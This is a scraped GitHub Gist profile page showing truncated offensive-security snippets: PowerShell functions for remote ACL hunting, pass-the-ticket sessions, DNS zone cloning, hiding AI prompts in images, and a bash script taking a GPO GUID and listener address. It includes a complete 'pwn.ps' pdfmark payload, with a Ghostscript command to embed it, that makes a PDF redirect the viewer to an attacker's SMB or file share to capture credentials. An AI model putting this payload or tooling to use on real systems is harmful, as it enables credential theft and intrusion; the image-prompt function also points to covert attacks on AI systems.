Skip to content

Instantly share code, notes, and snippets.

View kennystrawnmusic's full-sized avatar

Kenny Strawn kennystrawnmusic

View GitHub Profile
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36"
$session.Cookies.Add((New-Object System.Net.Cookie("bcookie", "`<REDACTED>`"", "/", ".linkedin.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("bscookie", "`"<REDACTED>`"", "/", ".www.linkedin.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("g_state", "{`"i_l`":0}", "/", "www.linkedin.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("JSESSIONID", "`"<REDACTED>`"", "/", ".www.linkedin.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("timezone", "America/Los_Angeles", "/", ".www.linkedin.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("_guid", "<REDACTED>", "/", ".linkedin.com")))
$session.Cookies.Add((New-Object System.Net.Cookie("li_sugr", "<REDACTED>", "/", ".linkedin.com")))
function Find-InterestingRemoteAcl {
[CmdletBinding(DefaultParameterSetName="PasswordAuth")]
param(
[Parameter(ParameterSetName="PasswordAuth", Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[Parameter(ParameterSetName="PassTheTicket")]
[switch]$PTT
)
function Invoke-AIPromptStego {
param(
[string]$InFile,
[string]$OutFile,
[string]$OutFormat,
[string]$Prompt
)
Add-Type -AssemblyName System.Drawing
function Clone-RemoteDnsServerZone {
param(
[Parameter(Mandatory=$true)]
[string]$IPAddr
)
$zones = Get-DnsServerZone -ComputerName $IPAddr -ErrorAction SilentlyContinue
$zones | % {
$zname = $_.Name
function Invoke-RemoteCustomTool {
[CmdletBinding(DefaultParameterSetName="PasswordAuth")]
param(
[Parameter(ParameterSetName="PasswordAuth", Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[Parameter(Mandatory=$true)]
[string]$ProgName,
[Parameter(Mandatory=$true)]
function Invoke-PSADSession {
[CmdletBinding(DefaultParameterSetName="PasswordAuth")]
param(
[Parameter(ParameterSetName="PasswordAuth", Mandatory=$true)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[bool]$Interactive = $true,
[Parameter(ParameterSetName="PassTheTicket")]
[switch]$PTT
From 6041d59b9c3d1ef84cc2d2cd226c6d8a33523cb3 Mon Sep 17 00:00:00 2001
From: Kenneth Strawn <kstrawn0@saddleback.edu>
Date: Wed, 3 Sep 2025 07:38:32 -0700
Subject: [PATCH] Patch docker-compose.yml for LP+
---
docker-compose.yml | 87 +++++++++++++++++++++++-----------------------
1 file changed, 43 insertions(+), 44 deletions(-)
diff --git a/docker-compose.yml b/docker-compose.yml
function Gen-RDPFile {
Param (
[string]$User,
[string]$Password,
[string]$IP,
[string]$FileName,
[int]$Width = 2880,
[int]$Height = 1620,
[int]$Port = 3389,
[bool]$FullScreen = $false
@kennystrawnmusic
kennystrawnmusic / pwn.ps
Last active January 12, 2026 19:06
Use the following command to add this payload into a PDF: `gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf pwn.ps input.pdf`
[ /_objdef {test} /type /dict /OBJ pdfmark
[ {test} << /JavaScript << /Names [ (test) << /S /JavaScript
/JS (var ip = "enter tester's IP address here"; if \(navigator.userAgent.match\('/Windows/i'\) { window.location = `file://${ip}/share/input.pdf`; } else { window.location = `smb://${ip}/share/input.pdf`; }\)) >> ]
>> >>
/PUT pdfmark
[ {Catalog} << /Names {test} >> /PUT pdfmark
#!/bin/bash
domain="$1"
user="$2"
password="$3"
gpo_guid="$4"
target_ip="$5"
target_ou="$6"
listener_ip="$7"
listener_port="$8"